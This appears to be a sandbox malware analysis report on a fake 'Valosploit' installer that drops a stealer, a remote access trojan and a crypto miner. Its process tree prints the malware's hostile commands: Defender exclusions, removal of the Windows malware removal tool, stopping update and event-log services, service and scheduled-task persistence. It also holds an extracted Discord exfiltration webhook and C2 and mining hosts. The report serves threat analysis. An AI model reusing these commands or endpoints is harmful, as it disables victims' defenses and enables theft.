growtopia | f7ba1f62f5168638cbe3ccf0df5af38f68b55962ea3a639f6d0e2a464ab180a0

Resubmissions

04/02/2024, 01:00 UTC

240204-bcq69adgb7 10

Analysis

max time kernel
122s
max time network
121s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
04/02/2024, 01:00 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ValosploitV3_Installer/Installer.exe
Size

12.6MB
MD5

e560d8abab1b94fa698c5164b10c4fa5
SHA1

7b7e2334f06610ebcb9ac796c471961df6a6c377
SHA256

817cac7fcfdc0f48444c45be772997707761e2ca1e43e8d53f8f7e0e7a1e42b0
SHA512

cc546819fbf9cb40c8bd7c9f686b2d7e189b624fc94a8075e0a43ebcf83d28ed4fc51227c3450e94de91e2c72ce6ce68d7f5e6f8e9e390406da4bcc32470af16
SSDEEP

196608:MgINJY5ucj/+mDZR65PzwNVnQwOsayF0RjPLIp+I3U84IXrTNtNp0GIUOueu/ty:MR+59nYRzw0wlF0RjPLIECU84EJ49h

Score

10^/10

growtopia zgrat evasion persistence pyinstaller rat stealer

Malware Config

Extracted

Family

growtopia

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Signatures

Detect ZGRat V1 34 IoCs

resource	yara_rule
behavioral1/memory/1244-48-0x0000000000730000-0x000000000079C000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-66-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-64-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-70-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-78-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-84-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-94-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-110-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-112-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-118-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-126-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-130-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-128-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-124-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-122-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-120-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-116-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-114-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-108-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-106-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-104-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-102-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-100-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-98-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-96-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-92-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-90-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-88-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-86-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-82-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-80-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-76-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-74-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1
behavioral1/memory/1244-72-0x0000000000730000-0x0000000000795000-memory.dmp	family_zgrat_v1

Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 9 IoCs

pid	Process
1244	Ilkdt.exe
2380	WinHostMgr.exe
2896	WinErrorMgr.exe
2612	KeyGeneratorI.exe
1308	Sahyui1337.exe
1692	WinErrorMgr.exe
2784	KeyGeneratorI.exe
476	Process not Found
1772	bauwrdgwodhv.exe

Loads dropped DLL 9 IoCs

pid	Process
2108	Installer.exe
2108	Installer.exe
2108	Installer.exe
2108	Installer.exe
2108	Installer.exe
2108	Installer.exe
2896	WinErrorMgr.exe
2784	KeyGeneratorI.exe
476	Process not Found

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
3	discord.com
4	discord.com
12	pastebin.com
13	pastebin.com

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	WinHostMgr.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	bauwrdgwodhv.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1772 set thread context of 748	1772	bauwrdgwodhv.exe	83
PID 1772 set thread context of 2000	1772	bauwrdgwodhv.exe	81

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2916	sc.exe
2796	sc.exe
1964	sc.exe
2564	sc.exe
1340	sc.exe
2464	sc.exe
980	sc.exe
376	sc.exe
2508	sc.exe
2736	sc.exe
668	sc.exe
928	sc.exe
1280	sc.exe
2184	sc.exe

Detects Pyinstaller 4 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0035000000015ccc-28.dat	pyinstaller
behavioral1/files/0x0035000000015ccc-31.dat	pyinstaller
behavioral1/files/0x0035000000015ccc-36.dat	pyinstaller
behavioral1/files/0x0035000000015ccc-61.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2696	schtasks.exe

Modifies data under HKEY_USERS 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 30df24ca0557da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2752	powershell.exe
1308	Sahyui1337.exe
1308	Sahyui1337.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
2380	WinHostMgr.exe
1772	bauwrdgwodhv.exe
2232	powershell.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
1772	bauwrdgwodhv.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe
2000	explorer.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	1244	Ilkdt.exe
Token: SeDebugPrivilege	1308	Sahyui1337.exe
Token: SeShutdownPrivilege	2044	powercfg.exe
Token: SeShutdownPrivilege	2008	powercfg.exe
Token: SeShutdownPrivilege	1132	powercfg.exe
Token: SeShutdownPrivilege	2176	powercfg.exe
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeShutdownPrivilege	2304	powercfg.exe
Token: SeShutdownPrivilege	1588	powercfg.exe
Token: SeShutdownPrivilege	868	powercfg.exe
Token: SeShutdownPrivilege	1012	powercfg.exe
Token: SeLockMemoryPrivilege	2000	explorer.exe

Suspicious use of WriteProcessMemory 55 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 2752	2108	Installer.exe	30
PID 2108 wrote to memory of 2752	2108	Installer.exe	30
PID 2108 wrote to memory of 2752	2108	Installer.exe	30
PID 2108 wrote to memory of 2752	2108	Installer.exe	30
PID 2108 wrote to memory of 1244	2108	Installer.exe	32
PID 2108 wrote to memory of 1244	2108	Installer.exe	32
PID 2108 wrote to memory of 1244	2108	Installer.exe	32
PID 2108 wrote to memory of 1244	2108	Installer.exe	32
PID 2108 wrote to memory of 2380	2108	Installer.exe	33
PID 2108 wrote to memory of 2380	2108	Installer.exe	33
PID 2108 wrote to memory of 2380	2108	Installer.exe	33
PID 2108 wrote to memory of 2380	2108	Installer.exe	33
PID 2108 wrote to memory of 2896	2108	Installer.exe	34
PID 2108 wrote to memory of 2896	2108	Installer.exe	34
PID 2108 wrote to memory of 2896	2108	Installer.exe	34
PID 2108 wrote to memory of 2896	2108	Installer.exe	34
PID 2108 wrote to memory of 2612	2108	Installer.exe	35
PID 2108 wrote to memory of 2612	2108	Installer.exe	35
PID 2108 wrote to memory of 2612	2108	Installer.exe	35
PID 2108 wrote to memory of 2612	2108	Installer.exe	35
PID 2108 wrote to memory of 1308	2108	Installer.exe	36
PID 2108 wrote to memory of 1308	2108	Installer.exe	36
PID 2108 wrote to memory of 1308	2108	Installer.exe	36
PID 2108 wrote to memory of 1308	2108	Installer.exe	36
PID 2896 wrote to memory of 1692	2896	WinErrorMgr.exe	38
PID 2896 wrote to memory of 1692	2896	WinErrorMgr.exe	38
PID 2896 wrote to memory of 1692	2896	WinErrorMgr.exe	38
PID 2896 wrote to memory of 1692	2896	WinErrorMgr.exe	38
PID 2612 wrote to memory of 2784	2612	KeyGeneratorI.exe	39
PID 2612 wrote to memory of 2784	2612	KeyGeneratorI.exe	39
PID 2612 wrote to memory of 2784	2612	KeyGeneratorI.exe	39
PID 1692 wrote to memory of 2696	1692	WinErrorMgr.exe	41
PID 1692 wrote to memory of 2696	1692	WinErrorMgr.exe	41
PID 1692 wrote to memory of 2696	1692	WinErrorMgr.exe	41
PID 1692 wrote to memory of 2696	1692	WinErrorMgr.exe	41
PID 2576 wrote to memory of 2976	2576	cmd.exe	50
PID 2576 wrote to memory of 2976	2576	cmd.exe	50
PID 2576 wrote to memory of 2976	2576	cmd.exe	50
PID 444 wrote to memory of 660	444	cmd.exe	94
PID 444 wrote to memory of 660	444	cmd.exe	94
PID 444 wrote to memory of 660	444	cmd.exe	94
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 748	1772	bauwrdgwodhv.exe	83
PID 1772 wrote to memory of 2000	1772	bauwrdgwodhv.exe	81
PID 1772 wrote to memory of 2000	1772	bauwrdgwodhv.exe	81
PID 1772 wrote to memory of 2000	1772	bauwrdgwodhv.exe	81
PID 1772 wrote to memory of 2000	1772	bauwrdgwodhv.exe	81
PID 1772 wrote to memory of 2000	1772	bauwrdgwodhv.exe	81

C:\Users\Admin\AppData\Local\Temp\ValosploitV3_Installer\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\ValosploitV3_Installer\Installer.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AbQBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHYAcABpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAbgBpACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAcQB2ACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2752
- C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
  "C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1244
- C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2380
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    PID:2568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\system32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      Drops file in Windows directory
      PID:2976
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2564
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2916
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1340
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:2508
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:2796
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:1964
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2176
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2008
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1132
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2044
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:668
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:928
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:2464
- C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2896
- - C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
    "C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1692
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA15E.tmp" /F
      4⤵
      Creates scheduled task(s)
      PID:2696
- C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
  "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe
    "C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2784
- C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe
  "C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1308

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2168

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2232

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1280
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2000
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:748
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1012
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:868
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1588
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2304
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:980
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:376
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2184
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:444

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
1⤵
- Drops file in Windows directory
PID:660

Network

DNS

discord.com

Sahyui1337.exe

Remote address:

8.8.8.8:53

Request

discord.com

IN A

Response

discord.com

IN A

162.159.128.233

discord.com

IN A

162.159.138.232

discord.com

IN A

162.159.135.232

discord.com

IN A

162.159.137.232

discord.com

IN A

162.159.136.232
DNS

discord.com

Sahyui1337.exe

Remote address:

8.8.8.8:53

Request

discord.com

IN A
DNS

jctestwindows.airdns.org

WinErrorMgr.exe

Remote address:

8.8.8.8:53

Request

jctestwindows.airdns.org

IN A

Response

jctestwindows.airdns.org

IN A

134.19.179.131
DNS

jctestwindows.airdns.org

WinErrorMgr.exe

Remote address:

8.8.8.8:53

Request

jctestwindows.airdns.org

IN A

Response

jctestwindows.airdns.org

IN A

134.19.179.131
DNS

pool.supportxmr.com

explorer.exe

Remote address:

8.8.8.8:53

Request

pool.supportxmr.com

IN A

Response

pool.supportxmr.com

IN CNAME

pool-fr.supportxmr.com

pool-fr.supportxmr.com

IN A

141.94.96.195

pool-fr.supportxmr.com

IN A

141.94.96.71

pool-fr.supportxmr.com

IN A

141.94.96.144
DNS

pastebin.com

explorer.exe

Remote address:

8.8.8.8:53

Request

pastebin.com

IN A

Response

pastebin.com

IN A

104.20.67.143

pastebin.com

IN A

172.67.34.170

pastebin.com

IN A

104.20.68.143
DNS

rentry.co

explorer.exe

Remote address:

8.8.8.8:53

Request

rentry.co

IN A

Response

rentry.co

IN A

51.83.3.90
DNS

de.zephyr.herominers.com

explorer.exe

Remote address:

8.8.8.8:53

Request

de.zephyr.herominers.com

IN A

Response

de.zephyr.herominers.com

IN A

167.235.223.40

162.159.128.233:443

discord.com

tls

Sahyui1337.exe

345 B
219 B
5
5
134.19.179.131:45010

jctestwindows.airdns.org

WinErrorMgr.exe

152 B
3
134.19.179.131:45010

jctestwindows.airdns.org

WinErrorMgr.exe

152 B
3
141.94.96.195:443

pool.supportxmr.com

tls

explorer.exe

1.5kB
3.1kB
9
9
104.20.67.143:443

pastebin.com

tls

explorer.exe

728 B
2.9kB
7
6
51.83.3.90:443

rentry.co

tls

explorer.exe

1.0kB
5.8kB
10
11
167.235.223.40:1123

de.zephyr.herominers.com

tls

explorer.exe

1.5kB
7.0kB
10
8
134.19.179.131:45010

jctestwindows.airdns.org

WinErrorMgr.exe

152 B
3

8.8.8.8:53

discord.com

dns

Sahyui1337.exe

114 B
137 B
2
1

DNS Request

discord.com

DNS Request

discord.com

DNS Response

162.159.128.233

162.159.138.232

162.159.135.232

162.159.137.232

162.159.136.232
8.8.8.8:53

jctestwindows.airdns.org

dns

WinErrorMgr.exe

140 B
172 B
2
2

DNS Request

jctestwindows.airdns.org

DNS Request

jctestwindows.airdns.org

DNS Response

134.19.179.131

DNS Response

134.19.179.131
8.8.8.8:53

pool.supportxmr.com

dns

explorer.exe

65 B
135 B
1
1

DNS Request

pool.supportxmr.com

DNS Response

141.94.96.195

141.94.96.71

141.94.96.144
8.8.8.8:53

pastebin.com

dns

explorer.exe

58 B
106 B
1
1

DNS Request

pastebin.com

DNS Response

104.20.67.143

172.67.34.170

104.20.68.143
8.8.8.8:53

rentry.co

dns

explorer.exe

55 B
71 B
1
1

DNS Request

rentry.co

DNS Response

51.83.3.90
8.8.8.8:53

de.zephyr.herominers.com

dns

explorer.exe

70 B
86 B
1
1

DNS Request

de.zephyr.herominers.com

DNS Response

167.235.223.40

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
631KB

MD5
0d8215506fa7e58f996f6f3f709cbbc1

SHA1
4c7408f777df10327c2de84365401539c4a00533

SHA256
81ce0dbd35f57e136dfd90f1cdb01e9c2f957db91d45e8e7310004eac183fcdf

SHA512
83ba8fbdc78bd3db3f5f8c6662ea3a29820995406241bebf0c2ee21d46bbab94e049a32c8ae2fa942572c4dbf611aaf2ee51f195a3dc32a26b93c4f59a9b844c

Download Submit
C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe

Filesize
407KB

MD5
67610c540c548d2be7518345a9632669

SHA1
2dc9e3f23929f51c78a07179f06cfa828610bf87

SHA256
a4634673c98c2369c805101d1c0ec67b8d6c993f93cbf3be94bcd83359891a88

SHA512
9f03721281250b4a35fd206e2c569eb1c0a5f54b2cf3ca4d5870aac1e5b2d73c8bc91ca70180fd7769b9b3ff88620f059d2f23a53d79eb0a8e497335c5c31769

Download Submit
C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe

Filesize
316KB

MD5
675d9e9ab252981f2f919cf914d9681d

SHA1
7485f5c9da283475136df7fa8b62756efbb5dd17

SHA256
0f055835332ef8e368185ae461e7c9eacdeb3d600ea550d605b09a20e0856e2d

SHA512
9dd936705fd43ebe8be17fcf77173eaaf16046f5880f8fe48fc68ded91ef6202ba65c605980bd2e330d2c7f463f772750a1bd96246fffdc9cb6bf8e1b00a2ccb

Download Submit
C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe

Filesize
202KB

MD5
407358daedb081e4e25225f91e76c116

SHA1
4e1a759947ee2b72b7e72d1ba3f15d693782b068

SHA256
e452aebde1504d0a5086ab4d5d4c11a4648ac23dbcb19ef70c6aba1b72fa1b2b

SHA512
bd04e4d58fcf4b6b36009d80c9b0092080222b6a670169e580da2d5ed83726c8f76324efb1af80d8bd37db3d8f1f9ece9f5af36711234ac0010670d96acdcab3

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
646KB

MD5
91ee0956cba06b63139f00a3b8e85c24

SHA1
6f461c6f95cadaf90401e3753c84d2d4b06e4d5a

SHA256
5f89624159c155678a3626c57dd85f44bcad651022b28ecdacc34bb983ef0c0e

SHA512
4e9266025021ab4ef9489fe3bc119b0b5d9052ba7385b8952cee88ad48b2b1c4cad6b9821391710c1f4b515531c5170021c8b8458eeba0a308b944dfdbb6de81

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
687KB

MD5
bf4e3f37b55d4958a9ebcf19e4aaf306

SHA1
4724b3616673a335e247c8e514a84474494649d1

SHA256
f1074a9317d5496d7a50217e427193c6c003e3b5706f9ae727e28eb008f30864

SHA512
c39883d882d7a7d21a7ee69ad60e365b348638bf60e0d25a9d470b9232d87438bad431bf03c893d63ce25938ffb6c27c76b729ce4cdbeeffdd85be893b84d6d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe

Filesize
1024KB

MD5
3c067870eab717fcd2e658dc04652faa

SHA1
15593f8bdc44f6c386dad15aecbcb5b9b0f5d3e0

SHA256
8b64d1b0268dd708db35740a9accbb8711eb0cbf12aa265d2251611048a56455

SHA512
984da87916a3cda224361a23607ac1620a963264087984d1f2d5b19201f10c6f4784b10d10d1e20b58ba81f376c91d8f8bbed8f8db77b46c23e5261939e4182f

Download Submit
